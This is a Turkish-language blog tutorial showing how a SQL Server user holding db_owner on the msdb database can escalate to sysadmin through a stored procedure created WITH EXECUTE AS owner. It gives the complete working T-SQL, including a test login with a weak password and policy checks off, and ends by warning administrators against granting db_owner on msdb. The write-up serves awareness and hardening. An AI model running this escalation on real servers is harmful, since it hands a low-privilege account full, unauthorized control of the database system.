Eğer veri tabanı yönetiyorsanız sistemde sizinle aynı yetkiye sahip kullanıcı istenilen bir durum değildir. Veri tabanı üzerinde sorumluluk size aittir ama Sql Server üzerinde sysadmin yetkisine sahip kullanıcı olumlu yada olumsuz bir işlem gerçekleştirdiğinde yansıması size olacaktır. Bir de sistem üzerinde gerekli Log’lamayı yapamıyorsanız geçmiş olsun. Bu yazı Sql Server üzerinde bulunan bir açıktan yararlanarak syadmin yetkisine sahip bir kullanıcı oluşturma işlemine değinmektedir.
Öncesinde 2 adet sistem veri tabanını kısaca tanıyalım.
Master veri tabanı:
- İşletim sistemi(OS) ile alakalı Sql Server için gerekli bilgileri bünyesinde tutar.
- Sql Server kullanıcı hesapları ile alakalı bilgileri tutar.
- Linked Server ve Sistem konfigürasyonları tutar.
- Diğer veri tabanlarına ait dizin bilgilerini tutar.
Msdb veri tabanı:
- Agent ve Job kategorisindeki işlerin bilgilerini içerir.
- Service Broker ve Database Mail ayarlarını içerir.
- Sql server Management Studio’nun kullanacağı bilgileri içerir.
- Yedekleme geçmişini dair ayrıntıları tutar.
İki veri tabanını kısaca tanıdıktan sonra görüyoruz ki msdb veri tabanında kullanıcılar ile alakalı bir bilgi tutulmamaktadır.
Senaryomuza bakacak olursak,
Sadece msdb üzerine db_owner olarak bir kullanıcı oluşturalım;
CREATE LOGIN mshowtoTest WITH PASSWORD ='test', CHECK_POLICY = OFF; GO USE msdb GO CREATE USER mshowtoTest FROM LOGIN mshowtoTest; GO ALTER ROLE db_owner ADD MEMBER mshowtoTest; GO
Daha sonra kullanıcıya sysadmin yetkisini vermek adına aşağıdaki kodlar üzerinden işlemlerimize devam edelim;
USE msdb GO CREATE PROCEDURE dbo.sysAdminEkle WITH EXECUTE AS owner AS ALTER SERVER ROLE sysadmin ADD MEMBER mshowtoTest; GO EXEC dbo.sysAdminEkle;
Artık tanımladığımız kullanıcı sysadmin olarak sistem üzerinde tam yetkili hale geldi. Aldığı bu yetki ile sistem üzerinde yapamayacağı herhangi bir şey kalmıyor.
Resim 1
Eğer Sql Server yönetimi gerçekleştiriyorsanız msdb üzerinde db_owner yetkisi vermemek yerinde olacaktır. Kullanıcı bilgilerini tutmadığı halde Msdb veri tabanından yola çıkarak sysadmin yetkisine sahip bir kullanıcı oluşturduk. Art niyetli olarak gerçekleştirilecek bir işlemin sonuçları olumsuz olabilir.
Referanslar:
TAGs: Sql server msdb, SQl server syadmin, master veri tabanı, msdb veri tabanı, sysadmin kullanıcı oluşturmak,